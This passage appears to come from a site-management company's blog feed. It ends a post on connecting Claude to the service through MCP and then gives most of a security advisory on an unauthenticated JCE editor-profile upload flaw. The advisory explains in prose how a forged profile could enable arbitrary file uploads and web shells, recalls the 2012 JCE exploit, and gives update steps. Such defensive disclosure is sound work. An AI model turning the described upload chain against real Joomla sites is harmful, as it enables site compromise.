&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/mcp-claude-connector-dialog.DLF2Or3B_2ogje4.webp&quot; srcset=&quot;https://mysites.guru/_astro/mcp-claude-connector-dialog.DLF2Or3B_Z2da0PM.webp 640w, https://mysites.guru/_astro/mcp-claude-connector-dialog.DLF2Or3B_1iQ4pu.webp 750w, https://mysites.guru/_astro/mcp-claude-connector-dialog.DLF2Or3B_Z2rfcQt.webp 828w, https://mysites.guru/_astro/mcp-claude-connector-dialog.DLF2Or3B_Zh9Ud7.webp 1080w, https://mysites.guru/_astro/mcp-claude-connector-dialog.DLF2Or3B_2ogje4.webp 1124w&quot; alt=&quot;The Claude &amp;quot;Add custom connector&amp;quot; dialog. The name field reads mySites.guru and the URL field reads https://manage.mysites.guru/_mcp. The OAuth Client ID and OAuth Client Secret fields under Advanced settings are empty and optional. Cancel and Add buttons sit at the bottom.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1124px) 1124px, 100vw&quot; width=&quot;1124&quot; height=&quot;1064&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Claude sends you to mySites.guru to sign in and approve the access. You see exactly which permissions are being granted before you authorize.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/mcp-authorization-request.CUjDI7PY_Z25UEMR.webp&quot; srcset=&quot;https://mysites.guru/_astro/mcp-authorization-request.CUjDI7PY_Z1m7Ay2.webp 640w, https://mysites.guru/_astro/mcp-authorization-request.CUjDI7PY_80z9V.webp 750w, https://mysites.guru/_astro/mcp-authorization-request.CUjDI7PY_1xoHxs.webp 828w, https://mysites.guru/_astro/mcp-authorization-request.CUjDI7PY_Z25UEMR.webp 998w&quot; alt=&quot;The mySites.guru Authorization Request screen. It says &amp;quot;Claude wants to access your account&amp;quot; and lists the permissions requested: mcp:profile:read, mcp:sites:read, mcp:sites:write, mcp:audits:read, mcp:audits:write, mcp:backups:read, mcp:backups:write, mcp:updates:read, mcp:updates:write and mcp:tags:read, each with a checkmark. Authorize and Deny buttons sit below, with a note that access can be revoked at any time from account settings.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 998px) 998px, 100vw&quot; width=&quot;998&quot; height=&quot;1486&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Approve it, and Claude is connected.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/mcp-claude-connected.sdfruTMF_JK0bV.webp&quot; srcset=&quot;https://mysites.guru/_astro/mcp-claude-connected.sdfruTMF_Z2f3tTd.webp 640w, https://mysites.guru/_astro/mcp-claude-connected.sdfruTMF_Urdxo.webp 750w, https://mysites.guru/_astro/mcp-claude-connected.sdfruTMF_ZeyBJE.webp 828w, https://mysites.guru/_astro/mcp-claude-connected.sdfruTMF_JK0bV.webp 1078w&quot; alt=&quot;The Claude connection confirmation screen. A coral Claude logo sits above the word Connected, with the message &amp;quot;Taking you back to the desktop app. You can close this tab.&amp;quot; and a black &amp;quot;Open desktop app&amp;quot; button.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1078px) 1078px, 100vw&quot; width=&quot;1078&quot; height=&quot;836&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Other MCP clients (Claude.ai on the web, IDEs, and anything else that speaks the protocol) each have their own way to add a remote MCP server, but the URL is always the same: &lt;code&gt;https://manage.mysites.guru/_mcp&lt;/code&gt;. Add it wherever your client lists custom or remote connectors, then complete the same sign-in and approval step.&lt;/p&gt;
&lt;p&gt;That is the whole setup. The connection then shows up in your mySites.guru account as an authorized client, and you can revoke it in one click whenever you want. Because your sites are already connected to mySites.guru through the connector you set up when you added them, the MCP server reaches them the same way. WordPress and Joomla are identical here, which is not something the WordPress-only MCP plugins can say.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;No per-site plugin, no API juggling&lt;/p&gt;&lt;div&gt;&lt;p&gt;The point of doing this at the account level is that it scales the way an agency actually works. You authorize once, and every site you manage, now and in the future, is reachable through the same connection. Add a new client site to mySites.guru next month and it is immediately available to your AI client with no extra setup.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What you can do in the beta&lt;/h2&gt;
&lt;p&gt;Here is the exact, honest list of what the connection can do today. Nothing more is implemented yet, so this is the whole surface for the beta. Every item below maps to something you can already do in the dashboard, and the tools split into reading the state of your sites and acting on them.&lt;/p&gt;
&lt;h3&gt;Reading your sites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;List every site you manage, with its CMS, PHP and database versions, tags and connection status.&lt;/li&gt;
&lt;li&gt;Summarise every site in one call with &lt;code&gt;list_site_summaries&lt;/code&gt;: updates waiting, vulnerable extensions, last snapshot, audit and backup times, and &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-api-site-summary/&quot;&gt;which sites need attention and why&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Get the full detail of a single site, including SSL expiry and available updates.&lt;/li&gt;
&lt;li&gt;Read your &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;profile&lt;/a&gt; (name, email, company).&lt;/li&gt;
&lt;li&gt;List and read &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audits&lt;/a&gt;, with suspect-file counts and the hacked flag.&lt;/li&gt;
&lt;li&gt;List &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backups&lt;/a&gt; for a site.&lt;/li&gt;
&lt;li&gt;List configuration &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshots&lt;/a&gt; for a site.&lt;/li&gt;
&lt;li&gt;List the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;extensions&lt;/a&gt; installed on a site.&lt;/li&gt;
&lt;li&gt;List your site tags, so you can talk about groups of sites by name.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Acting on your sites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Trigger a security audit&lt;/a&gt; on a site.&lt;/li&gt;
&lt;li&gt;Queue a backup for a site.&lt;/li&gt;
&lt;li&gt;Queue a configuration snapshot for a site.&lt;/li&gt;
&lt;li&gt;Queue updates for one or more extensions on a site.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That is it for now: thirteen tools, nine that read and four that act. Each one needs its own permission, so a read-only request can never turn into a write. Listing extensions tells you what is installed; queueing an update is a separate, explicitly-permitted action.&lt;/p&gt;
&lt;p&gt;Your AI client shows you the full list and lets you decide, per tool, whether Claude can run it automatically, must ask first, or is blocked entirely:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/mcp-claude-tool-permissions.DCxMEQsP_Zr3cTE.webp&quot; srcset=&quot;https://mysites.guru/_astro/mcp-claude-tool-permissions.DCxMEQsP_109hSO.webp 640w, https://mysites.guru/_astro/mcp-claude-tool-permissions.DCxMEQsP_tDqYY.webp 750w, https://mysites.guru/_astro/mcp-claude-tool-permissions.DCxMEQsP_137IBV.webp 828w, https://mysites.guru/_astro/mcp-claude-tool-permissions.DCxMEQsP_Z1imgPe.webp 1080w, https://mysites.guru/_astro/mcp-claude-tool-permissions.DCxMEQsP_Z1ndmuf.webp 1280w, https://mysites.guru/_astro/mcp-claude-tool-permissions.DCxMEQsP_Z1Ab1UU.webp 1668w, https://mysites.guru/_astro/mcp-claude-tool-permissions.DCxMEQsP_Zr3cTE.webp 1920w&quot; alt=&quot;The mySites.guru connector inside Claude, showing the Tool permissions panel. Thirteen tools are listed under &amp;quot;Other tools&amp;quot;: get_audit, get_profile, get_site, list_audits, list_backups, list_extensions, list_sites, list_snapshots, list_tags, trigger_audit, trigger_backup, trigger_extension_update and trigger_snapshot. Each row has three permission toggles to allow the tool, require Claude to ask first, or block it. The connector URL https://manage.mysites.guru/_mcp is shown at the top with a Disconnect button.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1920px) 1920px, 100vw&quot; width=&quot;1920&quot; height=&quot;1900&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;h3&gt;What comes next&lt;/h3&gt;
&lt;p&gt;This is a beta preview, and the tool list is the part most likely to grow. Through the beta we are watching our logs like a hawk for how people actually use it, which questions they ask, which actions they reach for, and where the gaps are. We will add tools based on that and on your feedback, rather than guessing at a big list up front. If there is something you want the connection to do, tell us, because right now is exactly when that feedback shapes what gets built.&lt;/p&gt;
&lt;p&gt;This sits alongside the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; we already shipped. There, you send a flagged file to an AI for a verdict from inside the dashboard. With MCP, the conversation runs the other way: the AI reaches into your account to find the sites worth looking at in the first place.&lt;/p&gt;
&lt;h2&gt;Why it is safe to hand this to an AI&lt;/h2&gt;
&lt;p&gt;Letting an AI client touch production sites sounds alarming until you look at what is actually happening underneath. There is no magic backdoor involved. It runs on the same OAuth flow that lets you “Sign in with” a trusted account elsewhere.&lt;/p&gt;
&lt;p&gt;When you add the connector, the client and mySites.guru run an OAuth 2.1 authorization with PKCE. In plain terms:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You are sent to mySites.guru to log in and approve the connection. The AI client never sees your password.&lt;/li&gt;
&lt;li&gt;The approval mints a token that is scoped to your own sites and stamped for this one connection. It cannot be replayed against anything else.&lt;/li&gt;
&lt;li&gt;Permissions are resolved per user at the moment the token is issued, so a shared client used by many people can never leak one person’s access to another.&lt;/li&gt;
&lt;li&gt;Every authorized connection is listed in your account, and you revoke it with one click.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The net effect: the AI can do exactly what you can do in mySites.guru, against exactly your sites, and nothing more. If you would not be allowed to click it in the dashboard, the AI cannot do it for you either.&lt;/p&gt;
&lt;h2&gt;What this changes for an agency&lt;/h2&gt;
&lt;p&gt;The dashboard is built for doing things. An MCP connection is built for asking things and then doing them without the round trip.&lt;/p&gt;
&lt;p&gt;A morning triage that used to mean opening twenty tabs becomes one message: “Across all my sites, which ones are out of date, have a failed last backup, or flagged suspect files in the most recent audit?” You get a ranked list, and you follow up in the same conversation: “Queue backups for the three with no recent backup, and run a fresh audit on the two with suspect files.”&lt;/p&gt;
&lt;p&gt;What makes this more than a search box is that the assistant interprets what it finds. Ask about one site’s extension updates and it does not just dump a list: it tells you nothing is pending, then flags that the real issue is an end-of-life Joomla core, points at the suspect files the last audit surfaced, and offers to dig deeper. That is the kind of read you would normally do yourself across three screens.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/mcp-claude-extension-updates-answer.DGnDfYiR_aNecS.webp&quot; srcset=&quot;https://mysites.guru/_astro/mcp-claude-extension-updates-answer.DGnDfYiR_YhWRJ.webp 640w, https://mysites.guru/_astro/mcp-claude-extension-updates-answer.DGnDfYiR_Z117Alh.webp 750w, https://mysites.guru/_astro/mcp-claude-extension-updates-answer.DGnDfYiR_ZVE1CT.webp 828w, https://mysites.guru/_astro/mcp-claude-extension-updates-answer.DGnDfYiR_Z2ftpeM.webp 1080w, https://mysites.guru/_astro/mcp-claude-extension-updates-answer.DGnDfYiR_1Fnaii.webp 1280w, https://mysites.guru/_astro/mcp-claude-extension-updates-answer.DGnDfYiR_aNecS.webp 1600w&quot; alt=&quot;Claude answering &amp;quot;What extension updates were available for [a client] Data Room.&amp;quot; Claude replies that none were available as of today&apos;s audit, with extensions_needing_update empty and updates_available: 0, then explains the real outstanding item is an end-of-life Joomla 3.10.12 core update that means a 3.x to 5.x migration, and notes the audit also flagged 22 suspect files, 38 hidden files, 9 hidden folders and 19 zero-byte files while marked hacked: false. It offers to pull the per-extension list or investigate the suspect files.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1600px) 1600px, 100vw&quot; width=&quot;1600&quot; height=&quot;1600&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Reporting works the same way. “Give me the CMS and PHP versions for every site tagged acme-corp” is a sentence, not a spreadsheet export. And because the assistant can read &lt;a href=&quot;https://mysites.guru/blog/organise-client-sites-with-tags/&quot;&gt;tags&lt;/a&gt;, you talk about clients and groups the way you think about them, not by hunting through a list.&lt;/p&gt;
&lt;h3&gt;Build it into your own workflows&lt;/h3&gt;
&lt;p&gt;Because this is a standard MCP connection, it is not just for typing questions by hand. You can wire mySites.guru into your own skills and AI workflows. Build a morning skill in Claude that runs the same triage every day and hands you a ready-made list of the sites that need work, before you have even finished your coffee. Chain it with the other tools and data your AI client already has, so a mySites.guru lookup becomes one step in a larger routine you have built once and run forever. The connection is a building block, and what you assemble from it is up to you.&lt;/p&gt;
&lt;p&gt;None of this replaces the dashboard. The &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt;, the &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt;, the visual audit reports, all of that is still where it was. MCP is a faster way in for the questions and actions that do not need a screen.&lt;/p&gt;
&lt;h2&gt;A standard, not a lock-in&lt;/h2&gt;
&lt;p&gt;MCP is an open protocol. Anthropic introduced it in late 2024 and then gave governance to the Linux Foundation, with OpenAI, Google, Microsoft and others on board. That matters because it means the connector you set up is not a bet on one vendor. Today Claude Desktop and Claude.ai are the obvious clients, but the same &lt;code&gt;/_mcp&lt;/code&gt; URL works in any client that speaks the protocol, and the list of those grows steadily.&lt;/p&gt;
&lt;p&gt;If you already trust mySites.guru to manage your WordPress and Joomla sites, this is simply a new, faster surface onto the same account. Connect it once, and start asking.&lt;/p&gt;
&lt;h2&gt;Tell us what you want it to do&lt;/h2&gt;
&lt;p&gt;This is a beta, and your feedback is what decides where it goes next. Connect it, put it to work on your real sites, and tell us what felt missing: a tool you wished existed, a question it could not answer, an action you wanted to trigger but could not. The quickest way to shape the next round of tools is to &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;get in touch&lt;/a&gt; and tell us what would make this useful for the way you work. We are building this with you, not at you, and the sooner we hear from you the more of your wishlist makes it into the full release.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://modelcontextprotocol.io/&quot;&gt;Model Context Protocol&lt;/a&gt; - the official specification for the open standard mySites.guru implements.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.anthropic.com/news/model-context-protocol&quot;&gt;Anthropic’s MCP announcement&lt;/a&gt; - the original write-up of why MCP exists and what problem it solves.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://support.claude.com/en/articles/11175166-get-started-with-custom-connectors-using-remote-mcp&quot;&gt;Get started with custom connectors in Claude&lt;/a&gt; - Claude’s own guide to adding a remote MCP connector like this one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://modelcontextprotocol.io/specification/draft/basic/authorization&quot;&gt;MCP authorization specification&lt;/a&gt; - the OAuth 2.1 and PKCE details behind how the connection is secured.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>mcp</category><category>ai</category><category>claude</category><category>automation</category><category>agency</category><enclosure url="https://mysites.guru/img/og/blog/manage-every-site-from-claude-desktop.png" length="0" type="image/png"/></item><item><title>JCE Free/Pro 2.9.99.5 Patches an Unauthenticated File Upload in Joomla&apos;s Most-Installed Editor</title><link>https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/</link><guid isPermaLink="true">https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/</guid><description>JCE Free and JCE Pro 2.9.99.5 patch an unauthenticated editor profile upload that could upload arbitrary files. Update every Joomla site running JCE.</description><pubDate>Wed, 03 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;&lt;p&gt;The whole story in one place&lt;/p&gt;&lt;div&gt;&lt;p&gt;Our &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE Profiles Hack page&lt;/a&gt; is the page of truth for the attack this flaw enables, with the indicators of compromise and the tool that finds and fixes it across every site you manage.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension. It sits in the top two of our &lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;live extension ranking&lt;/a&gt;, neck and neck with Akeeba Backup. If you look after a stack of Joomla sites, the odds that nearly all of them have JCE installed are very high.&lt;/p&gt;
&lt;p&gt;On 3 June 2026, the JCE developer &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-5-released&quot;&gt;released &lt;strong&gt;JCE Pro 2.9.99.5&lt;/strong&gt;&lt;/a&gt; and the matching JCE Free 2.9.99.5. The changelog has one security line, and it is the kind you act on the same day: &lt;strong&gt;insufficient access controls permitted unauthenticated users to upload editor profiles&lt;/strong&gt;, which the developer states could be exploited to upload arbitrary files to the server.&lt;/p&gt;
&lt;p&gt;This is the second JCE security release in a week. The &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/&quot;&gt;2.9.99.4 release on 28 May&lt;/a&gt; patched two bugs that both required a logged-in session. This one does not. That single difference, authenticated to unauthenticated, is what moves it from “patch this week” to “patch now”.&lt;/p&gt;
&lt;p&gt;This post covers what was patched, how the flaw differs from last week’s, what an attacker could do with it, and how to find and update every vulnerable JCE install across the Joomla sites you manage with &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; instead of one administrator panel at a time.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update: there are newer releases, current is JCE 2.9.99.11&lt;/p&gt;&lt;p&gt;After fixing this unauthenticated file upload, the developer ran a full four-day audit of the editor and shipped &lt;strong&gt;JCE 2.9.99.6&lt;/strong&gt; on 8 June, a security hardening release that narrows entry points and tightens input validation across JCE. It was followed by 2.9.99.7 (18 June, an upload-regression fix and group whitelist), &lt;strong&gt;2.9.99.8&lt;/strong&gt; (2 July, a maintenance release that also hardens the File Browser), &lt;strong&gt;2.9.99.10&lt;/strong&gt; (29 July, an &lt;a href=&quot;https://mysites.guru/blog/jce-2-9-99-10-security-update/&quot;&gt;authenticated file rename fix plus a broad hardening pass&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65891/&quot;&gt;CVE-2026-65891&lt;/a&gt;), and &lt;strong&gt;2.9.99.11&lt;/strong&gt; (15 September, the last 2.9 feature release before JCE 3.0). Do not stop at 2.9.99.5: &lt;strong&gt;update straight to the current 2.9.99.11&lt;/strong&gt;. &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;Read the JCE 2.9.99.6 advisory&lt;/a&gt;. The developer has since &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;confirmed active exploitation&lt;/a&gt; and published a free patch for sites that cannot reach the current release (it needs PHP 7.4 and Joomla 3.10+).&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;The short version&lt;/p&gt;&lt;p&gt;An unauthenticated visitor could upload an editor profile, and a profile controls what filesystem and upload actions JCE permits. The developer says this could be used to upload arbitrary files to the server. Every Joomla site running JCE is in scope, not just ones with public registration. Update to 2.9.99.5 today.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JCE Pro 2.9.99.5&lt;/strong&gt; and &lt;strong&gt;JCE Free 2.9.99.5&lt;/strong&gt; released 3 June 2026&lt;/li&gt;
&lt;li&gt;Fixes insufficient access controls that let &lt;strong&gt;unauthenticated&lt;/strong&gt; users upload editor profiles, which the developer says could be exploited to upload arbitrary files to the server&lt;/li&gt;
&lt;li&gt;Affects &lt;strong&gt;all versions of JCE Free and JCE Pro before 2.9.99.5&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;This is a &lt;strong&gt;separate, more serious flaw&lt;/strong&gt; than the authenticated-only bugs patched in 2.9.99.4 a week earlier&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No login is required&lt;/strong&gt;, so every Joomla site with JCE is exposed regardless of registration settings&lt;/li&gt;
&lt;li&gt;Tracked as &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Runs natively on Joomla 3, 4, 5, and 6 without the Backwards Compatibility plugin&lt;/li&gt;
&lt;li&gt;Reported by Uwe Flottemesch of fc-hosting.de, with assistance from David Jardin, lead of the Joomla Security Strike Team&lt;/li&gt;
&lt;li&gt;Update via the Joomla Update Manager or the &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads&quot;&gt;JCE downloads area&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mySites.guru’s mass updater&lt;/a&gt; pushes the update to every affected site in one batch&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What was patched in JCE 2.9.99.5?&lt;/h2&gt;
&lt;p&gt;The security line in the &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-5-released&quot;&gt;2.9.99.5 changelog&lt;/a&gt; reads, verbatim:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;JCE Pro 2.9.99.5 changelog&lt;/p&gt;&lt;div&gt;&lt;p&gt;Insufficient access controls permitted unauthenticated users to upload editor profiles.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The release announcement adds that the flaw “could be exploited to upload arbitrary files to the server.” To see why those two sentences belong together, you need a quick refresher on what an Editor Profile actually is.&lt;/p&gt;
&lt;h3&gt;A quick tour of JCE Editor Profiles&lt;/h3&gt;
&lt;p&gt;JCE’s defining feature is its Editor Profiles system. Rather than handing every logged-in user the same editor, JCE lets an administrator define different profiles for different user groups. A registered user might get a stripped-down toolbar with no file uploads. A content editor might get image and file managers scoped to one media directory. A super user gets the full editor with broad file operations.&lt;/p&gt;
&lt;p&gt;Each profile defines:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Which toolbar buttons are visible&lt;/li&gt;
&lt;li&gt;Which file types can be uploaded&lt;/li&gt;
&lt;li&gt;Which directories the editor can browse and upload into&lt;/li&gt;
&lt;li&gt;Which advanced features (templates, code view, and so on) are exposed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A profile is, in effect, a set of filesystem permissions wearing an editor’s clothes. Control the profile and you control what file operations JCE will perform.&lt;/p&gt;
&lt;h3&gt;Why an unauthenticated profile upload is the dangerous part&lt;/h3&gt;
&lt;p&gt;The 2.9.99.5 flaw was an access control gap on the action that uploads (imports) an editor profile. Before the patch, that action did not properly check that the request came from an authorised, logged-in user. An unauthenticated request could reach it.&lt;/p&gt;
&lt;p&gt;Put those two facts next to each other. If an anonymous actor can upload a profile, and a profile dictates which file types may be uploaded and into which directories, the attacker can define a profile permissive enough to allow the upload they want, then use it. That is the path the developer is pointing at with “upload arbitrary files to the server.”&lt;/p&gt;
&lt;p&gt;The vendor has not published a proof of concept, the exact controller and task, or a confirmed remote code execution chain, so treat the arbitrary-file-upload outcome as the realistic risk the patch closes rather than a demonstrated exploit. The flaw has since been assigned &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;&lt;/strong&gt;. The mechanism does not need a working public exploit to deserve same-day patching. Unauthenticated plus file upload is a combination you close immediately and ask questions later.&lt;/p&gt;
&lt;h2&gt;How 2.9.99.5 differs from last week’s 2.9.99.4&lt;/h2&gt;
&lt;p&gt;It is reasonable to assume a second JCE release in a week means the first fix was incomplete. That is not what happened here. The two releases address different vulnerabilities in the same area of code.&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;JCE 2.9.99.4 (28 May)&lt;/th&gt;&lt;th&gt;JCE 2.9.99.5 (3 June)&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Authentication&lt;/td&gt;&lt;td&gt;Required a logged-in session&lt;/td&gt;&lt;td&gt;&lt;strong&gt;None required&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected area&lt;/td&gt;&lt;td&gt;File browser&lt;/td&gt;&lt;td&gt;Editor profile upload&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;What it fixed&lt;/td&gt;&lt;td&gt;Editor Profile access check plus a directory traversal in filesystem search&lt;/td&gt;&lt;td&gt;Access control on the profile upload action&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Severity&lt;/td&gt;&lt;td&gt;Moderate, bounded by profile permissions&lt;/td&gt;&lt;td&gt;High, unauthenticated path to file upload&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/&quot;&gt;2.9.99.4 release&lt;/a&gt; tightened the file browser: it stopped an authenticated user from invoking actions through an Editor Profile they were not assigned to, and it closed a directory traversal in the filesystem search. Both required an account. The 2.9.99.5 release closes a different door, the one that lets a profile be uploaded in the first place, and that door was open to anyone.&lt;/p&gt;
&lt;p&gt;The two clearly come from the same coordinated review of JCE’s profile and filesystem handling, which is a good thing. A thorough audit of one component tends to surface a cluster of related issues, and JCE’s developer has shipped fixes for the lot within days of each report.&lt;/p&gt;
&lt;h2&gt;A note on JCE’s history with file uploads&lt;/h2&gt;
&lt;p&gt;There is a reason an unauthenticated file upload in JCE specifically should make you move quickly, and it is not the 2026 bug. It is the 2012 one.&lt;/p&gt;
&lt;p&gt;Back in 2012, an unauthenticated arbitrary file upload in JCE’s ImageManager (tracked as CVE-2012-2902) became one of the most widely exploited Joomla vulnerabilities of its era. Automated bots scanned the internet for vulnerable JCE installs, uploaded an innocuous-looking image file, then renamed it to a &lt;code&gt;.php&lt;/code&gt; extension to drop a web shell. Security vendors including Sucuri and Trustwave documented the campaign, and it shipped as a ready-made module in Metasploit. Sites were still being compromised through it years after the patch existed, purely because so many were never updated.&lt;/p&gt;
&lt;p&gt;The 2026 issue is a separate, newly patched flaw, and there is no evidence anyone is exploiting it as this post goes out. The history matters because of what it shows: when an unauthenticated JCE file-upload bug meets a long tail of installs no one updated, you get mass, automated, opportunistic compromise. Nothing to panic about today. Plenty of reason not to be the site still running a vulnerable JCE in six months.&lt;/p&gt;
&lt;h2&gt;What an attacker could do, and what they could not&lt;/h2&gt;
&lt;p&gt;What the patch closes is an unauthenticated route to uploading an editor profile, and from there potentially to uploading files the site never intended to accept. On a site where that chain reaches an executable location, the worst case is the familiar one: a web shell, persistent backdoor access, and a site that needs a full clean rather than an update. That is no longer hypothetical: we later found &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;exactly this attack on a live Joomla site&lt;/a&gt;, a rogue editor profile built to permit php uploads with the webshells it was used to drop still sitting on disk.&lt;/p&gt;
&lt;p&gt;What the advisory does not claim is a turnkey, one-request remote code execution with a published exploit. There is no public PoC in circulation. What it does describe is an unauthenticated way in and a file-upload outcome the vendor has named, now tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;. That is enough. You update to close it rather than wait to find out, on a site you manage, how far the chain actually reaches.&lt;/p&gt;
&lt;p&gt;This puts 2.9.99.5 in a different and more urgent category than 2.9.99.4, and alongside unauthenticated Joomla issues like the Smart Slider 3 &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;arbitrary file read&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework’s&lt;/a&gt; file inclusion, rather than the authenticated-only bugs from last week.&lt;/p&gt;
&lt;h2&gt;How to update JCE on a single Joomla site&lt;/h2&gt;
&lt;p&gt;For one site, the update is routine. Joomla’s built-in extension update tooling will pick up 2.9.99.5 as soon as the JCE update server publishes it, which it has.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to the Joomla administrator&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;System -&amp;gt; Update -&amp;gt; Extensions&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Check for Updates&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Select the JCE row&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Update&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
